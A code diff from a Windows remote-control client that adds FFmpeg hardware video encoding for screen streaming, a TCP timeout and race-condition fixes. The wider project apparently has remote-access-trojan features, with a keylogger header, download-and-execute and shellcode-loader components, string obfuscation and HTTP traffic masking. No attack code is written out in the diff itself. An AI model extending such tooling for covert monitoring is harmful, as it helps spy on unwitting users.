<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
@@ -167,7 +167,7 @@
|
|||||||
<OptimizeReferences>true</OptimizeReferences>
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
@@ -205,6 +205,9 @@
|
|||||||
<ClCompile Include="ShellManager.cpp" />
|
<ClCompile Include="ShellManager.cpp" />
|
||||||
<ClCompile Include="StdAfx.cpp" />
|
<ClCompile Include="StdAfx.cpp" />
|
||||||
<ClCompile Include="SystemManager.cpp" />
|
<ClCompile Include="SystemManager.cpp" />
|
||||||
|
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
|
||||||
|
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||||
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="TalkManager.cpp" />
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
<ClCompile Include="VideoManager.cpp" />
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
@@ -228,6 +231,10 @@
|
|||||||
<ClInclude Include="IOCPClient.h" />
|
<ClInclude Include="IOCPClient.h" />
|
||||||
<ClInclude Include="IOCPKCPClient.h" />
|
<ClInclude Include="IOCPKCPClient.h" />
|
||||||
<ClInclude Include="IOCPUDPClient.h" />
|
<ClInclude Include="IOCPUDPClient.h" />
|
||||||
|
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||||
|
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||||
|
<ClInclude Include="EncoderFactory.h" />
|
||||||
|
<ClInclude Include="VideoEncoderBase.h" />
|
||||||
<ClInclude Include="KernelManager.h" />
|
<ClInclude Include="KernelManager.h" />
|
||||||
<ClInclude Include="KeyboardManager.h" />
|
<ClInclude Include="KeyboardManager.h" />
|
||||||
<ClInclude Include="keylogger.h" />
|
<ClInclude Include="keylogger.h" />
|
||||||
|
|||||||
@@ -36,6 +36,9 @@
|
|||||||
<ClCompile Include="TalkManager.cpp" />
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
<ClCompile Include="VideoManager.cpp" />
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
|
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||||
|
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
|
||||||
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="..\common\file_upload.cpp" />
|
<ClCompile Include="..\common\file_upload.cpp" />
|
||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
@@ -81,6 +84,10 @@
|
|||||||
<ClInclude Include="VideoCodec.h" />
|
<ClInclude Include="VideoCodec.h" />
|
||||||
<ClInclude Include="VideoManager.h" />
|
<ClInclude Include="VideoManager.h" />
|
||||||
<ClInclude Include="X264Encoder.h" />
|
<ClInclude Include="X264Encoder.h" />
|
||||||
|
<ClInclude Include="VideoEncoderBase.h" />
|
||||||
|
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||||
|
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||||
|
<ClInclude Include="EncoderFactory.h" />
|
||||||
<ClInclude Include="ConPTYManager.h" />
|
<ClInclude Include="ConPTYManager.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
|||||||
71
client/EncoderFactory.cpp
Normal file
@@ -0,0 +1,71 @@
|
|||||||
|
#include "EncoderFactory.h"
|
||||||
|
#include "common/config.h"
|
||||||
|
#include "common/logger.h"
|
||||||
|
#include "X264Encoder.h"
|
||||||
|
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时硬编实现整体移出工程,仅保留 x264 软编路径
|
||||||
|
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||||
|
#include "CFFmpegH264Encoder.h"
|
||||||
|
#include "CFFmpegAV1Encoder.h"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
// 与 ScreenCapture::BitRateToCRF 同步:码率越高 CRF 越低(质量更好)。
|
||||||
|
// 仅 x264 软编路径用,硬编路径直接用 bitrate_kbps 走 CBR。
|
||||||
|
int BitRateToCRF(int bitRate) {
|
||||||
|
if (bitRate <= 0) return 23;
|
||||||
|
if (bitRate >= 3000) return 20;
|
||||||
|
if (bitRate >= 2000) return 20 + (3000 - bitRate) * 3 / 1000;
|
||||||
|
if (bitRate >= 800) return 23 + (2000 - bitRate) * 7 / 1200;
|
||||||
|
return 32;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req) {
|
||||||
|
EncoderParams p;
|
||||||
|
p.width = req.width;
|
||||||
|
p.height = req.height;
|
||||||
|
p.fps = req.fps;
|
||||||
|
|
||||||
|
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||||
|
// AV1 硬编路径(仅当客户端声明支持 AV1 解码)
|
||||||
|
// 硬件门槛高:仅 RTX 40+ / RX 7000+ / Intel Arc 才有 av1 encoder ASIC;
|
||||||
|
// 没合适硬件时 open() 全部失败,自然 fall through 到下面 H.264 路径。
|
||||||
|
if (req.encodeLevel >= LEVEL_AV1_HARD) {
|
||||||
|
auto enc = std::make_unique<CFFmpegAV1Encoder>();
|
||||||
|
p.rc = RateControl::BITRATE;
|
||||||
|
p.bitrate_kbps = req.bitrate_kbps;
|
||||||
|
if (enc->open(p)) {
|
||||||
|
Mprintf("=> encoder: %s (HW AV1, bitrate=%dk)\n", enc->backendName(), req.bitrate_kbps);
|
||||||
|
return enc;
|
||||||
|
}
|
||||||
|
Mprintf("=> all AV1 HW backends failed, falling back to H.264\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// H.264 硬编:CFFmpegH264Encoder 内部按 nvenc/qsv/amf/mf 顺序探
|
||||||
|
if (req.encodeLevel >= LEVEL_H264_HARD) {
|
||||||
|
auto enc = std::make_unique<CFFmpegH264Encoder>();
|
||||||
|
p.rc = RateControl::BITRATE;
|
||||||
|
p.bitrate_kbps = req.bitrate_kbps;
|
||||||
|
if (enc->open(p)) {
|
||||||
|
Mprintf("=> encoder: %s (HW, bitrate=%dk)\n", enc->backendName(), req.bitrate_kbps);
|
||||||
|
return enc;
|
||||||
|
}
|
||||||
|
Mprintf("=> all H.264 HW backends failed, falling back to x264\n");
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// x264 软编兜底(无硬件 / 全失败 / 虚拟机 / 远程桌面会话场景)
|
||||||
|
if (req.encodeLevel >= LEVEL_H264_SOFT) {
|
||||||
|
auto enc = std::make_unique<CX264Encoder>();
|
||||||
|
p.rc = RateControl::CRF;
|
||||||
|
p.crf = BitRateToCRF(req.bitrate_kbps);
|
||||||
|
if (enc->open(p)) {
|
||||||
|
Mprintf("=> encoder: %s (SW, crf=%d)\n", enc->backendName(), p.crf);
|
||||||
|
return enc;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("=> ERROR: no encoder could be opened\n");
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
25
client/EncoderFactory.h
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "VideoEncoderBase.h"
|
||||||
|
#include "common/commands.h"
|
||||||
|
#include <memory>
|
||||||
|
|
||||||
|
|
||||||
|
// 创建编码器的请求参数。
|
||||||
|
struct EncoderRequest {
|
||||||
|
int width = 0;
|
||||||
|
int height = 0;
|
||||||
|
int fps = 30;
|
||||||
|
int bitrate_kbps = 4000;
|
||||||
|
int encodeLevel = LEVEL_H264_SOFT;
|
||||||
|
};
|
||||||
|
|
||||||
|
// 按客户端能力 + 本机硬件能力创建一个 VideoEncoderBase。
|
||||||
|
//
|
||||||
|
// 探测顺序(第一个 open 成功的就用):
|
||||||
|
// AV1 硬编路径
|
||||||
|
// H.264 硬编(CFFmpegH264Encoder 内部按 nvenc/qsv/amf/mf 探)
|
||||||
|
// x264 软编(CX264Encoder,CPU 兜底)
|
||||||
|
//
|
||||||
|
// 失败路径在日志中可见(Mprintf)。返回 nullptr 仅在 x264 也开不起来时(极少见)。
|
||||||
|
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req);
|
||||||
@@ -33,6 +33,8 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
|
|||||||
|
|
||||||
// 初始化V2文件传输模块
|
// 初始化V2文件传输模块
|
||||||
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
||||||
|
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
|
||||||
|
if (!m_Signature.empty())
|
||||||
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
|
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
|
||||||
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf);
|
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf);
|
||||||
|
|
||||||
@@ -48,6 +50,7 @@ CFileManager::~CFileManager()
|
|||||||
SAFE_CLOSE_HANDLE(m_hSearchThread);
|
SAFE_CLOSE_HANDLE(m_hSearchThread);
|
||||||
}
|
}
|
||||||
m_UploadList.clear();
|
m_UploadList.clear();
|
||||||
|
if (!m_Signature.empty())
|
||||||
UninitFileUpload();
|
UninitFileUpload();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -35,6 +35,7 @@ private:
|
|||||||
UINT m_nTransferMode;
|
UINT m_nTransferMode;
|
||||||
char m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
|
char m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
|
||||||
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
|
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
|
||||||
|
std::string m_Signature;
|
||||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||||
bool UploadToRemote(LPBYTE lpBuffer);
|
bool UploadToRemote(LPBYTE lpBuffer);
|
||||||
void UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize);
|
void UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize);
|
||||||
|
|||||||
@@ -86,6 +86,27 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
|
|||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
// TCP_USER_TIMEOUT (RFC 5482): 未被对端 ACK 的已发数据超过此时间,内核直接把
|
||||||
|
// socket 标记为 ETIMEDOUT,下一次 send/recv 立即报错。
|
||||||
|
//
|
||||||
|
// 为什么 SO_KEEPALIVE 不够:keep-alive 只在连接完全 idle 时才探测,应用层每
|
||||||
|
// 30s 一次心跳让 TCP 永远进不了 idle 态。VM 挂起恢复 / 笔记本合盖唤醒 / NAT
|
||||||
|
// 表项老化等场景下,对端早已关闭连接但本端 send() 仍把字节塞进 SNDBUF 立即
|
||||||
|
// 返回成功——出现 ESTABLISHED + Send-Q 堆积的"半死连接",应用层完全无感,
|
||||||
|
// 默认要等 tcp_retries2 跑完(~15分钟)才报错。
|
||||||
|
//
|
||||||
|
// 选 30s:>= 默认心跳间隔(5-30s),< 服务端 CheckHeartbeat 超时(>=60s)。
|
||||||
|
// Linux 2.6.37+ 支持;macOS / 老内核 无此宏,自动跳过——那条路径上靠应用层
|
||||||
|
// ACK 看门狗(linux/main.cpp 心跳循环)兜底。
|
||||||
|
#ifdef TCP_USER_TIMEOUT
|
||||||
|
unsigned int userTimeoutMs = 30000;
|
||||||
|
if (setsockopt(socket, IPPROTO_TCP, TCP_USER_TIMEOUT,
|
||||||
|
&userTimeoutMs, sizeof(userTimeoutMs)) < 0) {
|
||||||
|
Mprintf("Failed to set TCP_USER_TIMEOUT\n");
|
||||||
|
// 非致命:keep-alive 已设上,应用层还有 ACK 看门狗兜底,继续即可
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
Mprintf("TCP keep-alive settings applied successfully\n");
|
Mprintf("TCP keep-alive settings applied successfully\n");
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
@@ -197,6 +218,13 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
|||||||
m_ServerAddr = {};
|
m_ServerAddr = {};
|
||||||
m_nHostPort = 0;
|
m_nHostPort = 0;
|
||||||
m_Manager = NULL;
|
m_Manager = NULL;
|
||||||
|
// 防御性初始化:避免 Debug build 里 0xcdcdcdcd 堆 fill 让 Receive 线程
|
||||||
|
// 在调用方 setManagerCallBack() 之前就读到野指针。子连接(屏幕/键盘等)
|
||||||
|
// 走 LoopManager 模式时,new IOCPClient → ConnectServer 启动 Receive
|
||||||
|
// worker 与 Manager 构造(内含 setManagerCallBack)之间有 race window;
|
||||||
|
// 这里清零让 Receive 路径有机会 NULL-check 而不是炸在野指针上。
|
||||||
|
m_DataProcess = NULL;
|
||||||
|
m_ReconnectFunc = NULL;
|
||||||
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
|
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
|
||||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
||||||
m_EncoderType = encoder;
|
m_EncoderType = encoder;
|
||||||
@@ -649,11 +677,19 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
|||||||
if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
|
if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
|
||||||
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
|
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
|
||||||
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
|
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
|
||||||
|
// 防御 race window:子连接 ConnectServer 触发 Receive 后,
|
||||||
|
// 调用方 setManagerCallBack() 可能还没执行;丢弃这种早期包
|
||||||
|
// 比让函数指针炸进 0xcdcdcd 强(pre-existing race,详见
|
||||||
|
// 构造函数注释,长期需要在 ConnectServer 前 set callback)
|
||||||
|
if (m_DataProcess == NULL) {
|
||||||
|
Mprintf("[WARN] dropping early packet: setManagerCallBack not yet called\n");
|
||||||
|
} else {
|
||||||
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
||||||
if (ret) {
|
if (ret) {
|
||||||
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);
|
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);
|
||||||
// ReadBuffer 已消费当前包,不需要清空缓冲区
|
// ReadBuffer 已消费当前包,不需要清空缓冲区
|
||||||
|
|||||||
@@ -617,14 +617,18 @@ void DownExecute(const std::string &strUrl, CManager *This)
|
|||||||
}
|
}
|
||||||
|
|
||||||
#include "common/location.h"
|
#include "common/location.h"
|
||||||
std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& masterHash)
|
std::string getHardwareIDByCfg(std::string& pwdHash, const std::string& masterHash)
|
||||||
{
|
{
|
||||||
|
iniFile reg;
|
||||||
|
pwdHash = reg.GetStr("settings", "UpperHash", masterHash);
|
||||||
|
|
||||||
config* m_iniFile = nullptr;
|
config* m_iniFile = nullptr;
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
m_iniFile = pwdHash == masterHash ? new config : new iniFile;
|
m_iniFile = pwdHash == masterHash ? new config : new iniFile;
|
||||||
#else
|
#else
|
||||||
m_iniFile = new iniFile;
|
m_iniFile = new iniFile;
|
||||||
#endif
|
#endif
|
||||||
|
pwdHash = m_iniFile->GetStr("settings", "UpperHash", masterHash);
|
||||||
int bindType = m_iniFile->GetInt("settings", "BindType", 0);
|
int bindType = m_iniFile->GetInt("settings", "BindType", 0);
|
||||||
int hwVersion = m_iniFile->GetInt("settings", "HWIDVersion", 0);
|
int hwVersion = m_iniFile->GetInt("settings", "HWIDVersion", 0);
|
||||||
std::string master = m_iniFile->GetStr("settings", "master");
|
std::string master = m_iniFile->GetStr("settings", "master");
|
||||||
@@ -882,18 +886,17 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
// 扩大到 400 字节以容纳 V2 签名(约 92 字节)和 Authorization(约 150 字节)
|
// 扩大到 400 字节以容纳 V2 签名(约 92 字节)和 Authorization(约 150 字节)
|
||||||
char buf[400] = {}, *passCode = buf + 5;
|
char buf[400] = {}, *passCode = buf + 5;
|
||||||
memcpy(buf, szBuffer, min(sizeof(buf), ulLength));
|
memcpy(buf, szBuffer, min(sizeof(buf), ulLength));
|
||||||
std::string masterHash(skCrypt(MASTER_HASH));
|
|
||||||
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
|
|
||||||
if (passCode[0] == 0) {
|
if (passCode[0] == 0) {
|
||||||
|
std::string pwdHash, masterHash(skCrypt(MASTER_HASH));
|
||||||
static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash);
|
static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash);
|
||||||
static std::string hashedID = hashSHA256(hardwareId);
|
static std::string hashedID = hashSHA256(hardwareId);
|
||||||
static std::string devId = getFixedLengthID(hashedID);
|
static std::string devId = getFixedLengthID(hashedID);
|
||||||
memcpy(buf + 24, buf + 12, 8); // 消息签名
|
memcpy(buf + 24, buf + 12, 8); // 消息签名
|
||||||
memcpy(buf + 96, buf + 8, 4); // 时间戳
|
memcpy(buf + 96, buf + 8, 4); // 时间戳
|
||||||
memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节
|
memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节
|
||||||
memcpy(buf + 32, pwdHash, 64); // 64字节
|
memcpy(buf + 32, pwdHash.c_str(), 64); // 64字节
|
||||||
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||||
Mprintf("Request for authorization update.\n");
|
Mprintf("Request for authorization update. SN: %s, PwdHash: %s\n", devId.c_str(), pwdHash.c_str());
|
||||||
} else {
|
} else {
|
||||||
unsigned short* days = (unsigned short*)(buf + 1);
|
unsigned short* days = (unsigned short*)(buf + 1);
|
||||||
unsigned short* num = (unsigned short*)(buf + 3);
|
unsigned short* num = (unsigned short*)(buf + 3);
|
||||||
|
|||||||
10329
client/SCLoader.cpp
@@ -13,8 +13,11 @@
|
|||||||
#include <condition_variable>
|
#include <condition_variable>
|
||||||
#include <functional>
|
#include <functional>
|
||||||
#include <future>
|
#include <future>
|
||||||
|
#include <memory>
|
||||||
#include <emmintrin.h> // SSE2
|
#include <emmintrin.h> // SSE2
|
||||||
#include "X264Encoder.h"
|
#include "common/config.h"
|
||||||
|
#include "VideoEncoderBase.h"
|
||||||
|
#include "EncoderFactory.h"
|
||||||
#include "ScrollDetector.h"
|
#include "ScrollDetector.h"
|
||||||
#include "common/file_upload.h"
|
#include "common/file_upload.h"
|
||||||
|
|
||||||
@@ -126,6 +129,7 @@ public:
|
|||||||
ULONG* m_BlockSizes; // 分块差异像素数
|
ULONG* m_BlockSizes; // 分块差异像素数
|
||||||
int m_BlockNum; // 分块个数
|
int m_BlockNum; // 分块个数
|
||||||
int m_SendQuality; // 发送质量
|
int m_SendQuality; // 发送质量
|
||||||
|
int m_EncodeLevel; // 编码级别
|
||||||
|
|
||||||
LPBITMAPINFO m_BitmapInfor_Full; // BMP信息
|
LPBITMAPINFO m_BitmapInfor_Full; // BMP信息
|
||||||
LPBITMAPINFO m_BitmapInfor_Send; // 发送的BMP信息
|
LPBITMAPINFO m_BitmapInfor_Send; // 发送的BMP信息
|
||||||
@@ -145,7 +149,7 @@ public:
|
|||||||
int m_FrameID; // 帧序号
|
int m_FrameID; // 帧序号
|
||||||
int m_GOP; // 关键帧间隔
|
int m_GOP; // 关键帧间隔
|
||||||
bool m_SendKeyFrame; // 发送关键帧
|
bool m_SendKeyFrame; // 发送关键帧
|
||||||
CX264Encoder *m_encoder; // 编码器
|
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器,ensureEncoder() lazy 创建,走 EncoderFactory 探测
|
||||||
int m_nScreenCount; // 屏幕数量
|
int m_nScreenCount; // 屏幕数量
|
||||||
BOOL m_bEnableMultiScreen;// 多显示器支持
|
BOOL m_bEnableMultiScreen;// 多显示器支持
|
||||||
|
|
||||||
@@ -182,14 +186,14 @@ protected:
|
|||||||
int m_nVScreenHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
int m_nVScreenHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||||
|
|
||||||
public:
|
public:
|
||||||
ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE) :
|
ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE, int level = LEVEL_H264_SOFT) :
|
||||||
m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
|
m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
|
||||||
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_SendQuality(100),
|
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_SendQuality(100),
|
||||||
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
|
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
|
||||||
m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n),
|
m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n),
|
||||||
m_SendKeyFrame(false), m_encoder(nullptr),
|
m_SendKeyFrame(false), m_encoder(nullptr),
|
||||||
m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false),
|
m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false),
|
||||||
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1)
|
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1), m_EncodeLevel(level)
|
||||||
{
|
{
|
||||||
SetAlgorithm(algo);
|
SetAlgorithm(algo);
|
||||||
m_BitmapInfor_Send = nullptr;
|
m_BitmapInfor_Send = nullptr;
|
||||||
@@ -256,7 +260,6 @@ public:
|
|||||||
SAFE_DELETE_ARRAY(m_BlockSizes);
|
SAFE_DELETE_ARRAY(m_BlockSizes);
|
||||||
|
|
||||||
SAFE_DELETE(m_ThreadPool);
|
SAFE_DELETE(m_ThreadPool);
|
||||||
SAFE_DELETE(m_encoder);
|
|
||||||
SAFE_DELETE(m_pScrollDetector);
|
SAFE_DELETE(m_pScrollDetector);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -639,11 +642,10 @@ public:
|
|||||||
// 写入算法类型
|
// 写入算法类型
|
||||||
data[0] = algo;
|
data[0] = algo;
|
||||||
|
|
||||||
// 写入光标位置
|
// 写入光标位置(虚拟桌面绝对坐标 → 发送坐标系)
|
||||||
POINT CursorPos;
|
POINT CursorPos;
|
||||||
GetCursorPos(&CursorPos);
|
GetCursorPos(&CursorPos);
|
||||||
CursorPos.x /= m_wZoom;
|
PointConversionInverse(CursorPos);
|
||||||
CursorPos.y /= m_hZoom;
|
|
||||||
memcpy(data + 1, &CursorPos, sizeof(POINT));
|
memcpy(data + 1, &CursorPos, sizeof(POINT));
|
||||||
|
|
||||||
// 写入当前光标类型(支持自定义光标)
|
// 写入当前光标类型(支持自定义光标)
|
||||||
@@ -840,6 +842,19 @@ public:
|
|||||||
return bmpInfo;
|
return bmpInfo;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 编码器 lazy 创建。委托 EncoderFactory 完成"硬编探测 + 软编 fallback"。
|
||||||
|
void ensureEncoder(int width, int height)
|
||||||
|
{
|
||||||
|
if (m_encoder) return;
|
||||||
|
EncoderRequest req;
|
||||||
|
req.width = width;
|
||||||
|
req.height = height;
|
||||||
|
req.fps = 20;
|
||||||
|
req.bitrate_kbps = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
|
||||||
|
req.encodeLevel = m_EncodeLevel;
|
||||||
|
m_encoder = CreateEncoder(req);
|
||||||
|
}
|
||||||
|
|
||||||
// 算法+光标位置+光标类型
|
// 算法+光标位置+光标类型
|
||||||
virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength)
|
virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength)
|
||||||
{
|
{
|
||||||
@@ -851,11 +866,10 @@ public:
|
|||||||
// 写入使用了哪种算法
|
// 写入使用了哪种算法
|
||||||
memcpy(data, (LPBYTE)&algo, sizeof(BYTE));
|
memcpy(data, (LPBYTE)&algo, sizeof(BYTE));
|
||||||
|
|
||||||
// 写入光标位置
|
// 写入光标位置(虚拟桌面绝对坐标 → 发送坐标系)
|
||||||
POINT CursorPos;
|
POINT CursorPos;
|
||||||
GetCursorPos(&CursorPos);
|
GetCursorPos(&CursorPos);
|
||||||
CursorPos.x /= m_wZoom;
|
PointConversionInverse(CursorPos);
|
||||||
CursorPos.y /= m_hZoom;
|
|
||||||
memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT));
|
memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT));
|
||||||
|
|
||||||
// 写入当前光标类型(支持自定义光标)
|
// 写入当前光标类型(支持自定义光标)
|
||||||
@@ -925,13 +939,12 @@ public:
|
|||||||
uint8_t* encoded_data = nullptr;
|
uint8_t* encoded_data = nullptr;
|
||||||
uint32_t encoded_size = 0;
|
uint32_t encoded_size = 0;
|
||||||
int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
|
int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||||
if (m_encoder == nullptr) {
|
ensureEncoder(width, height);
|
||||||
m_encoder = new CX264Encoder();
|
if (!m_encoder) return nullptr;
|
||||||
int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
|
m_encoder->forceIDR(); // 协议层 keyframe → 编码器强制 IDR,与 TOKEN_KEYFRAME 语义对齐
|
||||||
m_encoder->open(width, height, 20, BitRateToCRF(br));
|
|
||||||
}
|
|
||||||
int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
|
int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
|
||||||
if (err) {
|
// encoded_size == 0:硬编首帧延迟(avcodec_receive_packet 返回 EAGAIN),本帧无码流,按失败跳过
|
||||||
|
if (err || encoded_size == 0) {
|
||||||
return nullptr;
|
return nullptr;
|
||||||
}
|
}
|
||||||
*ulNextSendLength = 1 + offset + encoded_size;
|
